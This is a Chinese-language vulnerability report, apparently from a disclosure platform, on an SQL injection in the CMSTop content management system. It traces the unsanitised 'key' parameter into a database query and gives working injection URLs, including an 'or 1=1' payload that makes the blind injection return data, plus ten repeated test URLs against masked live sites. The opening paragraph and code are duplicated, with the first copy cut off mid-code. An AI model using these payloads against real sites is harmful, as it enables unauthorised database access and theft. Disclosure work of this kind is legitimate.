### 简要描述: cmstop SQL注入 ### 详细说明: 0x01:介绍 目前已服务了300多家网站,客户遍及全国30个省市,覆盖报业、杂志、广电、网媒、政府、军队和高校等多个领域,其中代表性客户包括中纪委、新华社、人民日报社、CCTV、湖北广电、中青网、千龙网、财经网、参考消息、美国侨报、ELLE和瑞丽等 0x02:分析 问题出在api这个接口当中,cmstop为闭源系统,代码已经过zend加密,并且各模块进行严格封装。。。 一次偶然的机会截获了一份代码,并解密,取出其中代码进行分析,发现一处SQL注入漏洞并发现可绕过限制对其算法进行破解(如授权限制)。。 在apps\article\controller\api\article.php中 ``` class controller_api_article extends api_controller_abstract { private $article = NULL; public function __construct( $app ) { $FN_-2147483646( $app ); $this->article = loader::model( "admin/article" ); } public function get( ) { $contentid = value( $_GET, "contentid", 0 ); if ( !$contentid ) { $result = array( "state" => FALSE, "error" => "内容编号错误" ); } else { $data = $this->article->get( $contentid, "*", "show" ); if ( $data ) { foreach ( array( "status_old", "unpublished", "unpublishedby", "modified", "modifiedby", "checked", "checkedby", "locked", "lockedby", "noted", "notedby", "note", "workflow_step", "workflow_roleid", "placeid", "saveremoteimage" )...
### 简要描述: cmstop SQL注入 ### 详细说明: 0x01:介绍 目前已服务了300多家网站,客户遍及全国30个省市,覆盖报业、杂志、广电、网媒、政府、军队和高校等多个领域,其中代表性客户包括中纪委、新华社、人民日报社、CCTV、湖北广电、中青网、千龙网、财经网、参考消息、美国侨报、ELLE和瑞丽等 0x02:分析 问题出在api这个接口当中,cmstop为闭源系统,代码已经过zend加密,并且各模块进行严格封装。。。 一次偶然的机会截获了一份代码,并解密,取出其中代码进行分析,发现一处SQL注入漏洞并发现可绕过限制对其算法进行破解(如授权限制)。。 在apps\article\controller\api\article.php中 ``` class controller_api_article extends api_controller_abstract { private $article = NULL; public function __construct( $app ) { $FN_-2147483646( $app ); $this->article = loader::model( "admin/article" ); } public function get( ) { $contentid = value( $_GET, "contentid", 0 ); if ( !$contentid ) { $result = array( "state" => FALSE, "error" => "内容编号错误" ); } else { $data = $this->article->get( $contentid, "*", "show" ); if ( $data ) { foreach ( array( "status_old", "unpublished", "unpublishedby", "modified", "modifiedby", "checked", "checkedby", "locked", "lockedby", "noted", "notedby", "note", "workflow_step", "workflow_roleid", "placeid", "saveremoteimage" ) as $field ) { unset( $data[$field] ); } } $result = array( "state" => TRUE, "data" => $data ); } echo json_encode( $result ); } ``` 跟踪\public\api\abstract.php(初始化抽象类) ``` public function __construct( $app ) { $FN_-2147483646( $app ); $this->config = config::get( "config" ); $this->setting = setting::get( $app->app ); $this->system = setting::get( "system" ); $this->json = factory::json( ); $this->cache = factory::cache( ); $this->auth_key = $this->get_key( ); if ( !$this->auth_key ) { $this->showmessage( "KEY获取失败" ); } $this->auth_sign = $this->get_sign( ); if ( !$this->auth_sign ) { $this->showmessage( "SIGN签名获取失败" ); } $this->auth_secret = $this->get_secret( $this->auth_key ); ``` 跟踪$this->get_key( ) ``` protected function get_key( ) { $key = isset( $_GET['key'] ) ? $_GET['key'] : ""; if ( !$key ) { $key = isset( $_POST['key'] ) ? $_POST['key'] : ""; } return $key; } ``` 直接get方式传入 $this->auth_key 进入get_secret方法 ``` protected function get_secret( $key ) { $userinfo = $this->get_userinfo( $key ); return $userinfo['auth_secret']; } ``` 又进入get_userinfo ``` protected function get_userinfo( $key ) { $_key = "api_userinfo_".$key; $userinfo = $this->cache->get( $_key ); if ( !$userinfo ) { $openauth = loader::model( "admin/openauth", "system" ); $userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" ); if ( !$userinfo ) { return FALSE; } $user_model = loader::model( "admin/admin", "system" ); $a = $user_model->login( $userinfo['userid'] ); if ( !$a ) { return FALSE; } $userinfo = array_merge( $userinfo, $a ); $user_model = loader::model( "member", "member" ); $a = $user_model->get( $userinfo['userid'], "groupid" ); if ( !$a ) { return FALSE; } $userinfo = array_merge( $userinfo, $a ); $this->cache->set( $_key, $userinfo ); } return $userinfo; ``` 其中$key又进入了openauth类当中的get方法 apps\system\model\admin\openauth.php 继续父类model.php ``` public function get( $where = NULL, $fields = "*", $order = NULL ) { return $this->select( $where, $fields, $order, NULL, NULL, array( ), FALSE ); } ``` //$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" ); 进入select查询,造成SQL注入。。。 但是这是一个不是回显的注入漏洞,如何把他变成回显呢? 例如,我们直接访问 http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=1--+a&sign=3333&contentid=1 和http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=12--+a&sign=3333&contentid=1 没有任何区别。。。使用sqlmap也没法很好的判断(除非时间盲注) 我们在后面加入or 1=1 使前面成立,将数据进行输出,造成回显,这样就达到了我们的目的了。。 如http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=1--+a&sign=3333&contentid=1 [<img src="https://images.seebug.org/upload/201512/01112127652d7480770a4a098763dadda4d154fc.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/01112127652d7480770a4a098763dadda4d154fc.png) http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=21--+a&sign=3333&contentid=1 [<img src="https://images.seebug.org/upload/201512/0111213910759092a3f701327fe2e5113c4085ce.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/0111213910759092a3f701327fe2e5113c4085ce.png) 并且可以直接用sqlmap跑出数据了。。。 提供以下案例测试: **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 ### 漏洞证明: 提供以下案例测试: **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1 **.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1